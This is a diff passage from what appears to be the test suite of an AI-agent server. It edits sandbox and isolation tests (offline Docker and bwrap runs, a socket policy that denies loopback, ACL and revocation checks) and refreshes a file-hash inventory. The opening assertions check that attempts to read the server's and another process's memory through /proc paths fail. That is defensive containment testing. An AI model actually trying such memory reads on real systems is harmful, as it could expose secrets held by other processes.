for (const name of ["server", "donor"]) expect(errors[`mem:${name}`], `${name} memory is unreachable`).toBe("ENOENT"); for (const t of a.attempts.filter((t: any) => /^\/proc\/\d{4,}\//.test(t.target))) expect(t.error).toBe("ENOENT"); diff --git a/tests/private-fixture-directory-access.test.ts b/tests/private-fixture-directory-access.test.ts deleted file mode 100644 index 1bd920a719..0000000000 --- a/tests/private-fixture-directory-access.test.ts +++ /dev/null @@ -1,60 +0,0 @@ -import { watchdogMs } from "../scripts/test-deadlines"; -import { expect, test } from "bun:test"; -import { chmodSync, cpSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; -import { dirname, join } from "node:path"; -import { tmpdir } from "node:os"; -import { PRIVATE_FIXTURE_DIRECTORY_ACCESS } from "../packages/ui-sdk/tests/fixtures/private-fixture-directory-access"; - -test("private fixture metadata ACL names one different UID and preserves worker-only file bytes", () => { - if (process.env.BRAIN_PRIVATE_ACL_CONTAINER !== "1") { - // Unit already requires Docker for the pinned browser-container proofs. - // FROM scratch supplies numeric UIDs without changing the unit worker map. - const context=mkdtempSync(join(tmpdir(),"odysseus-private-acl-container-")); - const image=`odysseus-private-acl-${process.pid}`; - try { - const rootfs=join(context,"rootfs");mkdirSync(rootfs); - const copy=(source:string,target=source)=>{mkdirSync(dirname(join(rootfs,target)),{recursive:true});cpSync(source,join(rootfs,target),{recursive:true});}; - for(const executable of [process.execPath,realpathSync("/usr/bin/python3")]) { - copy(executable,executable===process.execPath?"/bun":"/usr/bin/python3"); - const linked=Bun.spawnSync(["ldd",executable],{stdout:"pipe",stderr:"pipe"}); - expect(linked.exitCode,linked.stderr.toString()).toBe(0); - for(const path of linked.stdout.toString().match(/\/[^\s()]+/g)??[])copy(realpathSync(path),path); - } - const stdlib=Bun.spawnSync(["/usr/bin/python3","-I","-S","-c","import sysconfig;print(sysconfig.get_path('stdlib'))"],{stdout:"pipe",stderr:"pipe"}); - expect(stdlib.exitCode,stdlib.stderr.toString()).toBe(0);copy(stdlib.stdout.toString().trim()); - copy(join(import.meta.dir,"../scripts/test-deadlines.ts"),"/scripts/test-deadlines.ts"); - copy(import.meta.path,"/tests/private-fixture-directory-access.test.ts"); - copy(join(import.meta.dir,"../packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts"),"/packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts"); - mkdirSync(join(rootfs,"tmp"));chmodSync(join(rootfs,"tmp"),0o1777); - const readable=(path:string)=>{const info=lstatSync(path);if(info.isDirectory()){chmodSync(path,0o755);for(const name of readdirSync(path))readable(join(path,name));}else if(info.isFile())chmodSync(path,info.mode&0o111?0o555:0o444);}; - readable(rootfs);chmodSync(join(rootfs,"tmp"),0o1777); - writeFileSync(join(context,"Dockerfile"),"FROM scratch\nCOPY rootfs /\nUSER 1000:1000\nENV BRAIN_PRIVATE_ACL_CONTAINER=1\nENTRYPOINT [\"/bun\",\"test\",\"--timeout\",\"30000\",\"/tests/private-fixture-directory-access.test.ts\"]\n"); - const build=Bun.spawnSync(["docker","build","--network=none","-t",image,context],{stdout:"pipe",stderr:"pipe"});expect(build.exitCode,build.stderr.toString()).toBe(0); - const result=Bun.spawnSync(["docker","run","--rm","--network=none",image],{stdout:"pipe",stderr:"pipe"});expect(result.exitCode,result.stdout.toString()+result.stderr.toString()).toBe(0); - } finally {Bun.spawnSync(["docker","image","rm",image],{stdout:"ignore",stderr:"ignore"});rmSync(context,{recursive:true,force:true});} - return; - } - const root=mkdtempSync(join(tmpdir(),"odysseus-private-fixture-")),privateRoot=join(root,"private"),file=join(privateRoot,"voyage.md"); - mkdirSync(privateRoot,{mode:0o700});writeFileSync(file,"Odysseus charts Ithaca.\n",{mode:0o600}); - const outside=join(root,"outside");mkdirSync(outside,{mode:0o700});mkdirSync(join(outside,"nested"),{mode:0o700});symlinkSync(outside,join(privateRoot,"alias")); - const owner=process.getuid!(),reader=owner===21001?21002:21001; - try { - const result=Bun.spawnSync(["/usr/bin/python3","-I","-S","-c",PRIVATE_FIXTURE_DIRECTORY_ACCESS,privateRoot,String(owner),String(reader)],{stdout:"pipe",stderr:"pipe"}); - expect(result.exitCode,result.stderr.toString()).toBe(0); - const inspect=Bun.spawnSync(["/usr/bin/python3","-I","-S","-c",`import json,os,struct,sys -try: - b=os.getxattr(sys.argv[1],'system.posix_acl_access') - rows=[list(struct.unpack('{ - const root=mkdtempSync(join(tmpdir(),"odysseus-private-proof-")); - try { - const file=writePrivateProofArtifact(root,"audit.json","Odysseus private audit"),owner=statSync(root),result=statSync(file); - expect(readFileSync(file,"utf8")).toBe("Odysseus private audit"); - expect([result.uid,result.gid,result.mode&0o7777]).toEqual([owner.uid,owner.gid,0o600]); - expect(()=>writePrivateProofArtifact(root,"audit.json","replacement")).toThrow(); - writeFileSync(join(root,"target"),"unchanged");symlinkSync(join(root,"target"),join(root,"alias")); - expect(()=>writePrivateProofArtifact(root,"alias","replacement")).toThrow(); - expect(readFileSync(join(root,"target"),"utf8")).toBe("unchanged"); - expect(()=>writePrivateProofArtifact(root,"../escape","replacement")).toThrow(); - }finally{rmSync(root,{recursive:true,force:true});} -}); - - -test("private artifact handoff selects the proof owner rather than the writing UID",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-proof-owner-")); - try { - const script=join(root,"probe.ts"); - writeFileSync(script,`import * as fs from "node:fs";import {mock} from "bun:test"; - const original={...fs};let ownerFd,outputFd,handed=false; - mock.module("node:fs",()=>({...original, - openSync:(path,...args)=>{const fd=original.openSync(path,...args);if(path===${JSON.stringify(root)})ownerFd=fd;else outputFd=fd;return fd;}, - fstatSync:(fd)=>{const value=original.fstatSync(fd);return fd===ownerFd?{...value,uid:21001,gid:21003}:fd===outputFd&&handed?{...value,uid:21001,gid:21003}:value;}, - fchownSync:(fd,uid,gid)=>{if(fd!==outputFd||uid!==21001||gid!==21003)throw Error("WRONG_PROOF_OWNER");handed=true;} - })); - const {writePrivateProofArtifact}=await import(${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/tests/fixtures/private-proof-artifact.ts"))}); - writePrivateProofArtifact(${JSON.stringify(root)},"audit.json","Odysseus audit"); - if(!handed)throw Error("PRIVATE_ARTIFACT_NOT_HANDED_BACK");console.log("PRIVATE_ARTIFACT_HANDED_BACK");`); - const child=Bun.spawn([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,err).toBe(0);expect(out.trim()).toBe("PRIVATE_ARTIFACT_HANDED_BACK"); - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/provider-history-host-authority.test.ts b/tests/provider-history-host-authority.test.ts index 2ed2a2188f..5760e15700 100644 --- a/tests/provider-history-host-authority.test.ts +++ b/tests/provider-history-host-authority.test.ts @@ -1,4 +1,3 @@ -import {nativeScriptedService} from "../scripts/test-native-guard"; import { expect, test } from "bun:test"; import { mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -17,15 +16,13 @@ import type { RunningTurn } from "../packages/ui-server/src/ws/turns"; for (const backendId of ["pi", "claude"] as const) for (const kind of ["inference", "provider"] as const) { test(`${backendId} provider-history host gives its relay live owner authority and observes revocation: ${kind}`, async () => { const root = mkdtempSync(join(tmpdir(), "odysseus-history-authority-")); - const brain = fixtureBrain(root, "voyage"); - let requests = 0; - const origin = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { requests++; return Response.json({ content: [] }); } }); - const releaseAuthority=nativeScriptedService(origin.url.origin,{fixtureRoots:[root]}); - const f = historyHost(brain, makeFakeBackend({ id: backendId })); + const brain = fixtureBrain(root, "voyage"), f = historyHost(brain, makeFakeBackend({ id: backendId })); const controller = new AbortController(); const authorization = f.host.coordinator.openAuthorization({ principalId: f.principalId, valid: true, expiresAt: Number.MAX_SAFE_INTEGER }); const turn = { turnId: "voyage", requestId: "voyage-request", principalId: f.principalId, authorization, sessionId: null, startedAt: Date.now(), abortController: controller, queue: [] } as unknown as RunningTurn; + let requests = 0; + const origin = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { requests++; return Response.json({ content: [] }); } }); let proxy: Awaited> | undefined; let relay: ReturnType | ReturnType | undefined; try { @@ -53,7 +50,7 @@ for (const backendId of ["pi", "claude"] as const) for (const kind of ["inferenc expect(requests, "REVOCATION_CANNOT_RETRY_OR_REACH_THE_PROVIDER").toBe(1); } finally { controller.abort(); await relay?.stop(); proxy?.stop(); await proxy?.settled(); origin.stop(true); - authorization.release(); await f.close(); releaseAuthority();rmSync(root, { recursive: true, force: true }); + authorization.release(); await f.close(); rmSync(root, { recursive: true, force: true }); } }); } diff --git a/tests/search-witness.test.ts b/tests/search-witness.test.ts deleted file mode 100644 index 1db6ad2b30..0000000000 --- a/tests/search-witness.test.ts +++ /dev/null @@ -1,16 +0,0 @@ -import {expect,test} from "bun:test"; -import {mkdtempSync,writeFileSync,existsSync,readFileSync,rmSync} from "node:fs"; -import {tmpdir} from "node:os"; -import {join} from "node:path"; -import {searchWitnessScript} from "../packages/ui-server/tests/helpers/search-witness"; -for(const code of [0,1,127]) test(`search witness requires successful nested rg: ${code}`,()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-search-")); - try { - const rg=join(root,"rg"),wrapper=join(root,"wrapper"),marker=join(root,"marker"),status=join(root,"status"); - if(code!==127)writeFileSync(rg,`#!/bin/sh\nexit ${code}\n`,{mode:0o755}); - writeFileSync(wrapper,searchWitnessScript(rg,marker,status,0)); - const child=Bun.spawnSync(["/bin/sh",wrapper,"sirens"],{stderr:"pipe"}); - expect(child.exitCode).toBe(code);expect(readFileSync(status,"utf8").trim()).toBe(String(code)); - expect(existsSync(marker)).toBe(code===0); - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/shipped-claude-runtime-pin.test.ts b/tests/shipped-claude-runtime-pin.test.ts index 7fe6d0c233..8deb73c09a 100644 --- a/tests/shipped-claude-runtime-pin.test.ts +++ b/tests/shipped-claude-runtime-pin.test.ts @@ -7,18 +7,12 @@ import { test, expect } from "bun:test"; import { readFileSync } from "node:fs"; import { dirname, join } from "node:path"; import { bundledClaudeBinary } from "../packages/core/src/providers/agents/claude-binary"; -import { nativeScriptedService } from "../scripts/test-native-guard"; -test("the public backend resolves SDK 0.3.293 and its bundled CLI reports 2.1.293", async () => { +test("the public backend resolves SDK 0.3.293 and its bundled CLI reports 2.1.293", () => { const root = join(import.meta.dir, ".."); const current = Bun.resolveSync("@anthropic-ai/claude-agent-sdk", join(root, "packages/ui-backend-claude/src")); expect(JSON.parse(readFileSync(join(dirname(current), "package.json"), "utf8")).version).toBe("0.3.293"); const native = bundledClaudeBinary(current); expect(native).not.toBeNull(); - const server = Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response(null,{status:400})}); - const release = nativeScriptedService(server.url.origin, {fixtureRoots:[]}); - try { - const child = Bun.spawn([native!, "--version"], { env: { PATH: "/usr/bin:/bin", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }, stdout: "pipe", stderr: "pipe" }); - const [code,stdout,stderr] = await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,stderr).toBe(0); expect(stdout.trim()).toBe("2.1.293 (Claude Code)"); - } finally {release();server.stop(true);} + const child = Bun.spawnSync([native!, "--version"], { env: { PATH: "/usr/bin:/bin", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }, stdout: "pipe", stderr: "pipe" }); + expect(child.exitCode).toBe(0); expect(child.stdout.toString().trim()).toBe("2.1.293 (Claude Code)"); }); diff --git a/tests/test-determinism.test.ts b/tests/test-determinism.test.ts index 272df4077d..44605cac53 100644 --- a/tests/test-determinism.test.ts +++ b/tests/test-determinism.test.ts @@ -17,7 +17,7 @@ import singleFileRuns from "./fixtures/determinism-single-file-runs.json"; const ROOT = join(import.meta.dir, ".."); // The wrapper, its preload and what they import, as tests/experiment-tier.test.ts copies them. const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", - "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", + "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", "test-determinism.ts", "determinism-plan.ts", "proof-shards.ts", "test-deadlines.ts", "test-deadline-preload.ts"]; const scratch: string[] = []; diff --git a/tests/test-network-environment.test.ts b/tests/test-network-environment.test.ts deleted file mode 100644 index 064b102ee1..0000000000 --- a/tests/test-network-environment.test.ts +++ /dev/null @@ -1,15 +0,0 @@ -import {expect,test} from "bun:test"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; - -test("the guard honours an explicit removal of GitHub reporter environment",async()=>{ - const code=`process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const probe='console.log(JSON.stringify({github:process.env.GITHUB_ACTIONS??null,runner:process.env.RUNNER_ENVIRONMENT??null}))'; - const removed=Bun.spawnSync([process.execPath,"-e",probe],{env:{...process.env,GITHUB_ACTIONS:undefined,RUNNER_ENVIRONMENT:undefined}}); - if(removed.exitCode)throw Error("REPORTER_ENV_PROBE_FAILED"); - const runnerEnv={...process.env,RUNNER_ENVIRONMENT:undefined};delete runnerEnv.GITHUB_ACTIONS; - const runner=Bun.spawnSync([process.execPath,"-e",probe],{env:runnerEnv});if(runner.exitCode)throw Error("RUNNER_ENV_PROBE_FAILED"); - console.log(JSON.stringify([JSON.parse(removed.stdout.toString()),JSON.parse(runner.stdout.toString())]));`; - const child=spawnGuardFixture([process.execPath,"-e",code]); - const [codeResult,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(codeResult,err).toBe(0);expect(JSON.parse(out),"EXPLICIT_REPORTER_ENV_REMOVAL_IS_HONOURED").toEqual([{github:null,runner:null},{github:"true",runner:null}]); -}); diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index 02046a8fc7..0c48044114 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -33,7 +33,7 @@ async function run(args: string[], env: Record = {}) { if (existsSync(script)) { mkdirSync(join(dir, "scripts")); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index b06b2030cd..af68c6b9da 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -59,7 +59,7 @@ describe("balanced shards run the root command for real", () => { mkdirSync(join(dir, "scripts")); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/worker-effect-witness.test.ts b/tests/worker-effect-witness.test.ts deleted file mode 100644 index 26f0809ad5..0000000000 --- a/tests/worker-effect-witness.test.ts +++ /dev/null @@ -1,26 +0,0 @@ -import { expect, test } from "bun:test"; -import { mkdtempSync, writeFileSync, rmSync, readFileSync } from "node:fs"; -import { join } from "node:path"; -import { tmpdir } from "node:os"; -import { createWorkerEffectWitness } from "../scripts/worker-effect-witness"; -import { scriptedModel } from "../scripts/measure-claude-runtime"; -import { compileSocketPolicy, nativeTestHead, startNativeTestRelay } from "../scripts/test-native-guard"; - -test("worker effect witness records through the registered scripted service path and Unix relay",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-effect-witness-")),marker=join(root,"loom");writeFileSync(marker,""); - const witness=createWorkerEffectWitness({marker}),model=scriptedModel();model.plan(null,witness); - const relay=startNativeTestRelay(model.url); - try{ - const child=Bun.spawn(["/bin/sh","-c",witness.command],{env:{PATH:"/usr/bin:/bin",ANTHROPIC_BASE_URL:"http://127.0.0.1:43123",BRAIN_TEST_EFFECT_SOCKET:join(relay.directory,"relay.sock")},stdout:"pipe",stderr:"pipe"}); - const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]); - expect(code,errors).toBe(0);expect(witness.effects.marker,"EFFECT_RECORDED_INDEPENDENT_OF_FORWARDER_BASE_URL").toBe(true); - const source=readFileSync(join(import.meta.dir,"../scripts/measure-claude-delegation.ts"),"utf8"); - expect(source).toContain("pathname===witness.path)return witness.fetch(req)"); - }finally{relay.dispose();model.stop();rmSync(root,{recursive:true,force:true});} -}); - -test("native connect policy continues to deny a separate TCP loopback endpoint",()=>{ - const proof=Bun.spawnSync([compileSocketPolicy(),"--probe",nativeTestHead()],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); - expect(proof.exitCode,proof.stderr.toString()).toBe(0); - expect(proof.stdout.toString(),"SEPARATE_TCP_ENDPOINT_DENIED").toContain("NATIVE_SOCKET_POLICY_HELD"); -}); diff --git a/tests/worker-limits-envelope.test.ts b/tests/worker-limits-envelope.test.ts deleted file mode 100644 index c534c85322..0000000000 --- a/tests/worker-limits-envelope.test.ts +++ /dev/null @@ -1,10 +0,0 @@ -/** Keyless command-plan proof; the selected runtime is never executed. */ -import {expect,test} from "bun:test"; -import {workerLimitsFixtureCommand} from "./fixtures/worker-limits-envelope"; -import {isNativeClaude,nativeTripwireMaskPaths} from "../scripts/test-native-guard"; -test("the workload outer envelope carries only fixture inputs and no installed runtime path",()=>{ - const argv=workerLimitsFixtureCommand("/tmp/odysseus-workloads-fixture","/usr/bin/chromium"); - expect(argv.slice(-2),"OUTER_ARGUMENTS_ARE_FIXTURE_INPUTS").toEqual(["/tmp/odysseus-workloads-fixture","/usr/bin/chromium"]); - for(const runtime of nativeTripwireMaskPaths())expect(argv,"OUTER_ENVELOPE_HAS_NO_NATIVE_PATH_AS_DATA").not.toContain(runtime); - expect(isNativeClaude(argv[0]!,argv.slice(1)),"OUTER_ENVELOPE_DOES_NOT_RUN_NATIVE").toBe(false); -}); diff --git a/tests/worker-limits-workloads.test.ts b/tests/worker-limits-workloads.test.ts index 444ada4260..0ce39b384f 100644 --- a/tests/worker-limits-workloads.test.ts +++ b/tests/worker-limits-workloads.test.ts @@ -10,7 +10,7 @@ import { afterAll, describe, expect, test } from "bun:test"; import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; -import {workerLimitsFixtureCommand} from "./fixtures/worker-limits-envelope"; +import { bundledClaudeBinary } from "../packages/ui-server/tests/helpers/claude-binary"; const ROOT = join(import.meta.dir, ".."); const chromium = process.env.PUPPETEER_EXECUTABLE_PATH ?? [ @@ -25,7 +25,9 @@ async function workloads() { mkdirSync(join(ROOT, "tmp"), { recursive: true }); const root = mkdtempSync(join(ROOT, "tmp/worker-limit-workloads-")); try { - const child = Bun.spawn(workerLimitsFixtureCommand(root,chromium), + const child = Bun.spawn(["bwrap", "--unshare-net", "--bind", "/", "/", "--proc", "/proc", "--dev", "/dev", process.execPath, + "--preload", join(ROOT, "scripts/test-network-child-preload.ts"), join(import.meta.dir, "fixtures/worker-limits-workloads.ts"), + root, bundledClaudeBinary(), ...(chromium ? [chromium] : [])], { cwd: ROOT, env: { PATH: process.env.PATH!, LANG: "C.UTF-8", HOME: root }, stdout: "pipe", stderr: "pipe" }); const [out, err, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, err || out).toBe(0); diff --git a/tests/workspace-lease.test.ts b/tests/workspace-lease.test.ts index b6f8c861bd..09e487f8dc 100644 --- a/tests/workspace-lease.test.ts +++ b/tests/workspace-lease.test.ts @@ -281,7 +281,7 @@ test("the real pinned container wrapper waits for host ownership of its mounted test("direct Bun test preserves its selector, timeout and offline preload while waiting", async () => { const root = fixture(); mkdirSync(join(root, "scripts")); mkdirSync(join(root, "packages/core/tests"), { recursive: true }); - for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { + for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { copyFileSync(join(project, "scripts", name), join(root, "scripts", name)); } copyFileSync(join(project, "packages/core/tests/cli-harness.ts"), join(root, "packages/core/tests/cli-harness.ts")); From 9e5907d9da5a91e582d58a20c11a44992d9bffde Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 20:00:12 +0000 Subject: [PATCH 150/187] test: refresh the rootless inventory after merging main --- scripts/offline-runner/rootless-files.json | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index ef7848b17c..b510fa9865 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -973,12 +973,12 @@ "packages/ui-server/tests/activity-query-lifecycle.test.ts":{"sha256":"42cbe65397ed3cfba940bbb2d16bb244448adfd162837eb013653493f69b6496","compatible":true}, "packages/ui-server/tests/activity-recorder.test.ts":{"sha256":"392e505542ae04beb908bf774789be8f2194c960612de44ab3a7bb347fb86ca8","compatible":true}, "packages/ui-server/tests/activity-rollup-rounding.test.ts":{"sha256":"edbe1d785a16743560a954dfdc3eb7f6f298647bd2e4df5d11cf3922de494bbb","compatible":true}, - "packages/ui-server/tests/activity-runtime.test.ts":{"sha256":"5c158b351cd4ecf3b5fa3dc675c31a2ae5f85556f9bc7a3b1c8d85ea141b469d","compatible":true}, + "packages/ui-server/tests/activity-runtime.test.ts":{"sha256":"6310aea494ee4a61969cd12082a674e3b77cacbc1fc25e4d605704e5b0594f8e","compatible":true}, "packages/ui-server/tests/activity-snapshot-consistency.test.ts":{"sha256":"ad4f1134e705078cca176a108817e4b402f8772c8273bfa17f5539de4099ed38","compatible":true}, "packages/ui-server/tests/activity-stats.test.ts":{"sha256":"e8b144e76b59a1e7374bb90bc66a1f911a7addf549dc70e204f9a7428954d929","compatible":true}, "packages/ui-server/tests/activity-store.test.ts":{"sha256":"708e6192c502afe5b94d3bf73585b7e1f02d6765518f74cec0ffbb40ef5ffdb4","compatible":true}, "packages/ui-server/tests/activity-sweep.test.ts":{"sha256":"20263a48db9cc787db8bdd52431401e5170ad74d5528e56420ab0c39bfb1890d","compatible":true}, - "packages/ui-server/tests/admission-sub-phases.test.ts":{"sha256":"1a75e48e2dcc39a833e34b5c493e8aa73d6c703d4f1fd7e357ebc9cfc4c2b789","compatible":true}, + "packages/ui-server/tests/admission-sub-phases.test.ts":{"sha256":"0678046dec74edfe4a659448ceaa9a223d041f2bbe43881c8903931b0df92d3b","compatible":true}, "packages/ui-server/tests/apify-authority.test.ts":{"sha256":"fd4e25fae86d5c634285b5c503bb151f18050b24e1477c46244bcb8ff124e429","compatible":true}, "packages/ui-server/tests/apify-consent.test.ts":{"sha256":"64700daf2039250741a41ecd05cf3b12779b148c90667ecab8dbf14a69d1da32","compatible":true}, "packages/ui-server/tests/apify-front-doors.test.ts":{"sha256":"29ab6a4303c8d36b74b0311273db963859711a406512ef0503090f3a30cef246","compatible":true}, @@ -1047,7 +1047,7 @@ "packages/ui-server/tests/close-cancels-shared-runs.test.ts":{"sha256":"49e7532a6abbc3333bd494091d48564de6845412e08e1dcb04f72a0797f9a48c","compatible":true}, "packages/ui-server/tests/closing-clock-regressions.test.ts":{"sha256":"402b5afb27270e41c87fa8c60729e921b1d305ee3f173d3c31934b8cb3a876d7","compatible":true}, "packages/ui-server/tests/code-change-history-runtime.test.ts":{"sha256":"ee92b005080e4273d646eeae83e4635d14a42f5659ac83bfe9b7329b03e1ddea","compatible":true}, - "packages/ui-server/tests/code-change-receipt.test.ts":{"sha256":"ff35a37205f2aa2bed4aadc8bc7d1d7e5832fac8dd9724874bb127652a14959c","compatible":true}, + "packages/ui-server/tests/code-change-receipt.test.ts":{"sha256":"f57e461ff72f5beb64baac6d9f01a0de025809da32e1bcdf4bf54d79746ffb21","compatible":true}, "packages/ui-server/tests/combined-safety-review.test.ts":{"sha256":"c1078c35f7bd206217636ff3de3485a47133c43363f5b9c1adbd5739e19580ae","compatible":true}, "packages/ui-server/tests/command-taint-recorder.test.ts":{"sha256":"132d8b85443c25cde5a5b814ec6a8309d92d0f14b23e6322f7c117efbe5a76f6","compatible":true}, "packages/ui-server/tests/command-taint.test.ts":{"sha256":"9b10ff1c8f1de594a46d58e121bc5f0137ea3a8516aceee3001df4770ae40f73","compatible":true}, @@ -1115,7 +1115,7 @@ "packages/ui-server/tests/governance-events-http.test.ts":{"sha256":"d36efaf37a35769c16106d8cb41addc3b6b4636a04748b257b617b27860c828e","compatible":true}, "packages/ui-server/tests/governance-events.test.ts":{"sha256":"66bc0938e55f623532828b4744534badb44e54b5f676de7b15776ae8e361e5bf","compatible":true}, "packages/ui-server/tests/governance-policy-application.test.ts":{"sha256":"49575370a2dc119148620a9765b597f89e8842bb4a3bd2da70ac97d9b596b8ea","compatible":true}, - "packages/ui-server/tests/governance-policy.test.ts":{"sha256":"e84551a9937f3b3500cc84cccded690561adab987087a4a157876d3541445617","compatible":true}, + "packages/ui-server/tests/governance-policy.test.ts":{"sha256":"fa3fb5a60b8a801c05898782a4b80b9e050c7077875db39de3b7f738c6759c89","compatible":true}, "packages/ui-server/tests/governance-roadblock-report.test.ts":{"sha256":"3e8fe8ee581308941c9c22ed485769e19d954b72f6e85b9f5ecc8d7c786c37bd","compatible":true}, "packages/ui-server/tests/governance-roadblocks.test.ts":{"sha256":"4d9e11ac76f2e13280c60d78c557a931ec2aa38e5253b8f836e1c34ac66b7dba","compatible":true}, "packages/ui-server/tests/governed-manifest.test.ts":{"sha256":"73e536da9f0494a8103796e01b85f5c1068f815272301f674be4460837c995f9","compatible":true}, @@ -1255,12 +1255,15 @@ "packages/ui-server/tests/native-journal-steering.test.ts":{"sha256":"7f5605b52462a86115a5407e327a971b6bc8d1517a01100464fc2da7435b755c","compatible":true}, "packages/ui-server/tests/native-startup-releases.test.ts":{"sha256":"599842dcf17665e93535d898aa06d507bc56e2912ac08b4dcdbc9c8dc1ca44e2","compatible":true}, "packages/ui-server/tests/native-suite-fixture.test.ts":{"sha256":"022b8c916754efcd11728298652461280ca537e3580ce215a40df97296b6a7b6","compatible":true}, - "packages/ui-server/tests/native-worker-startup-order.test.ts":{"sha256":"534a6f9ecd6cdb584a23c56b5aa4215c61e7315b575d590ecacf12eeafcf62b9","compatible":true}, + "packages/ui-server/tests/native-worker-startup-order.test.ts":{"sha256":"7ab4841d023b182263e7ecc9db2c3d5e72f30108bc59329898f44eab01ecfafb","compatible":true}, "packages/ui-server/tests/no-console.test.ts":{"sha256":"1c44b89a5a4f2cd47473195eb6d3992649ba888af2be4390a7228640e43600f4","compatible":true}, "packages/ui-server/tests/notify-offloop.test.ts":{"sha256":"d3464c9fd4422f27986c780b78a6fd59529c62671a48183515c64ea7cd963b9c","compatible":true}, "packages/ui-server/tests/observability.test.ts":{"sha256":"ba8553205702c5a083e2327fedee3ec6ae0120644b975e84747df8353ace9cb4","compatible":true}, 